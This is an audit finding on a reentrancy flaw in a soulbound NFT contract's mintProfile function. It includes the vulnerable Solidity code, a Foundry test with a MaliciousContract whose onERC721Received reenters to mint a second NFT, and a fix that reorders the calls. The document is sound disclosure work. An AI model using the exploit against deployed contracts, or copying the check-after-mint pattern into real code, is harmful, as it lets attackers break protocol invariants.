# M-04. Reentrancy in `SoulboundProfileNft::mintProfile` allows minting multiple NFTs per address, which disrupts protocol expectations 

## Approved finding by someone else

## Summary

In `mintProfile`, the internal `_safeMint` function is called before updating the contract state (`_profiles[tokenId]` and `profileToToken[msg.sender]`). This violates CEI, as `_safeMint` calls an internal function that could invoke an external contract if `msg.sender` is a contract with a malicious `onERC721Received` implementation.

Source Code:

```
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
        require(profileToToken[msg.sender] == 0, "Profile already exists");

        uint256 tokenId = ++_nextTokenId;
        _safeMint(msg.sender, tokenId);

        // Store metadata on-chain
        _profiles[tokenId] = Profile(name, age, profileImage);
        profileToToken[msg.sender] = tokenId;

        emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
    }
```

## Vulnerability Details

Copy this test and auxiliary contract in the unit test suite to prove that an attacker can mint multiple NFTs:

```
function testReentrancyMultipleNft() public {
        MaliciousContract maliciousContract = new MaliciousContract(
            address(soulboundNFT)
        );
        vm.prank(address(maliciousContract));
        MaliciousContract(maliciousContract).attack();
        assertEq(soulboundNFT.balanceOf(address(maliciousContract)), 2);
        assertEq(soulboundNFT.profileToToken(address(maliciousContract)), 1);
    }
```

```
contract MaliciousContract {
    SoulboundProfileNFT soulboundNFT;
    uint256 counter;

    constructor(address _soulboundNFT) {
        soulboundNFT = SoulboundProfileNFT(_soulboundNFT);
    }

    // Malicious reentrancy attack
    function attack() external {
        soulboundNFT.mintProfile("Evil", 99, "malicious.png");
    }

    // Malicious onERC721Received function
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4) {
        // Reenter the mintProfile function
        if (counter == 0) {
            counter++;
            soulboundNFT.mintProfile("EvilAgain", 100, "malicious2.png");
        }
        return 0x150b7a02;
    }
}
```

## Impact

The attacker could end up having multiple NTFs, but only one profile. This is because the `mintProfile`function resets  the `profileToToken`mapping each time. At the end, the attacker will have only one profile connecting with one token ID with the information of the first mint.

I consider that the severity is Low because the `LikeRegistry`contract works with the token IDs, not the NFTs. So, the impact will be a disruption in the relation of the amount of NTFs and the amount of profiles. 

## Tools Used

Foundry

Slither

## Recommendations

To follow CEI properly, move `_safeMint` to the end:

```
function mintProfile(string memory name, uint8 age, string memory profileImage) external {
        require(profileToToken[msg.sender] == 0, "Profile already exists");

        uint256 tokenId = ++_nextTokenId;
-       _safeMint(msg.sender, tokenId);

        // Store metadata on-chain
        _profiles[tokenId] = Profile(name, age, profileImage);
        profileToToken[msg.sender] = tokenId;

+       _safeMint(msg.sender, tokenId);

        emit ProfileMinted(msg.sender, tokenId, name, age, profileImage);
}
```